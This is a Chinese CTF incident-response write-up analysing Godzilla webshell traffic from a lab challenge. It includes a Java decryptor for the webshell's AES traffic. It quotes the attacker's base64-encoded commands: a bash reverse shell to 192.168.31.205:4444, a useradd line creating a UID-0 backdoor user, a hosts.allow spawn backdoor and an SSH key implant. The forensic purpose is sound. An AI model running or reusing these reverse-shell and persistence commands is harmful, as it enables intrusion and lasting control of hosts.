玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

admin 2024年10月17日13:36:58评论117 views字数 6373阅读21分14秒阅读模式

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招web re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

前言

1

题目

实战中使用的webshell连接工具基本上都是魔改或内部研发的,通过网上公开的哥斯拉ekp版本来学习如果HW中遇到魔改的应该如何去下手分析
请你登录服务器结合数据包附件来分析黑客的入侵行为
用户名:root
密码:toor
SSH连接:ssh root@ip -p222

2

黑客上传的木马文件名是什么

flag{.index.jsp}

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

3

黑客上传的木马链接是什么

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{mypass}

4

黑客上传的木马链接密钥是什么

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{9adbe0b3033881f8}

5

黑客连接webshell后执行的第一条命令是什么

前面都是哥斯拉初始化流量,这里开始用户执行

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

然后根据前面的jsp木马脚本进行解密

请求解密

package com.ezgame;import java.io.*;import java.net.URLDecoder;import java.nio.charset.StandardCharsets;import java.util.Scanner;public class test {    class X extends ClassLoader {        public X(ClassLoader z) {            super(z);        }        public Class Q(byte[] cb) {            return super.defineClass(cb, 0, cb.length);        }    }    public static String md5(String s) {        String ret = null;        try {            java.security.MessageDigest m;            m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();        } catch (Exception e) {        }        return ret;    }    public static byte[] x(byte[] s, boolean m, String xc) {        try {            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));            return c.doFinal(s);        } catch (Exception e) {            return null;        }    }    public static String base64Encode(byte[] bs) throws Exception {        Class base64;        String value = null;        try {            base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });        } catch (Exception e) {            try {                base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;    }    public static byte[] base64Decode(byte[] bytes) {        Class base64;        byte[] value = null;        Object decoder;        try {            base64 = Class.forName("java.util.Base64");            decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});        } catch (Exception e) {            try {                base64 = Class.forName("sun.misc.BASE64Decoder");                decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});            } catch (Exception e2) {            }        }        return value;    }    public static void main(String[] args) throws Exception {        String xc = "9adbe0b3033881f8";        String pass = "mypass";        String md5 = md5(pass + xc);        Scanner scanner = new Scanner(System.in);        System.out.println("请输入URL编码的字符串:");        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));        String encodedString = reader.readLine();         String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());//        System.out.println("URL解码后的字符串:" + decodedString);        scanner.close();        byte[] data = base64Decode(decodedString.getBytes());        data = base64Decode(data);        System.out.println(new String(data));        byte[] res = x(data, false, xc);        FileOutputStream fos = new FileOutputStream("res1.zip");        fos.write(res);        fos.close();    }}

响应解密脚本,主要是少了一次base64

Scanner scanner = new Scanner(System.in);        System.out.println("请输入URL编码的字符串:");        String encodedString = scanner.nextLine(); // 获取用户输入的字符串        scanner.close();        byte[] bytes = base64Decode(encodedString.getBytes());        System.out.println(new String(bytes));        byte[] res = x(bytes, false, xc);        FileOutputStream fos = new FileOutputStream("res2.zip");        fos.write(res);        fos.close();

解密出来是一个zip压缩包,解压后丢到010即可

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{cat /etc/passwd}

6

这个木马是根据哪个参数进行回显的?(提交参数名)

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

解密和解压后看到执行结果

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

得到参数名是Rec106e_config,当然从代码里也可以看出

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{Rec106e_config}

7

黑客留下的后门的反连的IP和PORT是什么(flag{IP,PORT)

这条数据没有回显示,很可疑,解密后发现是反弹shell

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{192.168.31.205,4444}

8

黑客通过后门反连执行的第一条命令是什么

后续直接过滤这个ip和port的流量即可

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{ls}

9

黑客新增的后门用户名密码是什么(提交flag{username,password})

新增了一个x用户且密码是Xj@666.然后添加到root组

echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bashuseradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{x,Xj@666.}

10

黑客新增的后门文件是什么(提交完整路径)

后续就是一些ssh的流量了,猜测可能是ssh登录后操作的

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

出题命令:

echo ZWNobyAnQUxMOiBBTEw6IHNwYXduIChiYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zMS4yMDAvNDQ0NCAwPiYxIikgJiA6YWxsb3cnID4gL2V0Yy9ob3N0cy5hbGxvdw==|base64 -d|bash

上机一些基础排查后发现后门被写到了/etc/hosts.allow文件,当有主机ssh连接时,就会自动反弹shell到黑客主机的4444端口。

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{/etc/hosts.allow}

11

黑客的后门公钥是什么(提交公钥的md5值)

sshd_config 指定其他免认证文件

这里首先就要排查ssh配置文件,在41行发现还有一个可以免认证的文件

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

mkdir /root/.bash_h1story/echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FEUE5LUDNRTCtpMXNhZmRzVTZaYjJNdW9CalpZcmVBRGp3aGJQM2R6WnBqd3g4YUM3WDFrOXNiOElFS1NqdnNXeGJiNG5DN3Ivd3pIS0hvMGJkbndkTTZSaXNqbmlvYjYrMGM0SW1CemtzeHZuUjNsSmpRZTVIdyt3aTQreW5BL0QzVTE5T2F6UnhjYTVJMUw2T05zcFNBYTNzNHN3MlFveGJ1QlZGZWwrSUtCemVicDhLN1ZCM0tyM1pscnk1TlRkNTJJbm4zNDd6WldmYjU2b2x4UmFIVEo2SVhBSkxlRm1HVDZSMm5EdWwybFk4SFdTMkQ1azhsREM5b05ld1RqdEZLelBWaTlydER6R0h4RGMxK2szZ0tFMlFrS1VqQkVZZmVLbVUrTjVHbVRUM3RJWWZySlNmV2Z4d0RyQ3Z2aHFuZjJ3WlFZdFpDTmY0OEMvb3BIOEVoUkJRckgvWDk0ZHJYK2VYSk9tb3pRektKZmRpZFFzaFJ3U0tEZmY2dzFnWWs9IHhpYW9sZUB4aWFvbGVkZU1hY0Jvb2stUHJvLmxvY2Fs|base64 -d > /root/.bash_h1story/.keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole@xiaoledeMacBook-Pro.local

将公钥内容进行md5提交即可

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{d7bf0e27d6f533604250faceb28b6d4b}

12

黑客注入的内存马代理是哪种类型(如flag{frp})

先看这里的流量

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

请求流量,简单通过字符串看出像是注入了什么东西,有user-agent 还有一个路径

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

流量解密,返回ok,应该是注入完成

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

目前还无法确定具体代理类型(前面几条数据流里有注入使用的代码,大佬看一下就知道了,后面介绍简单的更适合的方法)

flag{suo5}

13

这个代理的路径是什么(如flag{frp})

注入完成后访问了/connect,但是是404

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

这里开始从http转为tcp连接

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

发现连接了几次都是404

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

而第25个是成功的,观察发现两个请求的user-agent不同,这里就可以看出代理是判断了user-agent头,那就是suo5代理了。路径也就是/connect

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{/connect}

14

这个代理的连接密码是什么(将得到的flag)

将user-agent的值进行md5后提交

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{e3c77fd790af8d25fe271cd275eb405e}

15

黑客扫描了哪个ip的哪些端口?(端口按照文本的顺序提交即可如:flag{ip,21,22,23})

在最后一个流中发现扫描操作

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}

16

黑客扫描到开放的端口有哪些?(端口从小到大排序提交如:flag{21,22,23})

最后为1的是开放端口,0为未开放的端口

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

flag{222,8081}

EDI安全

玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

原文始发于微信公众号(EDI安全):玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月17日13:36:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玄机应急响哥斯拉ekp版本流量分析-WriteUp By 小乐https://cn-sec.com/archives/3280980.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息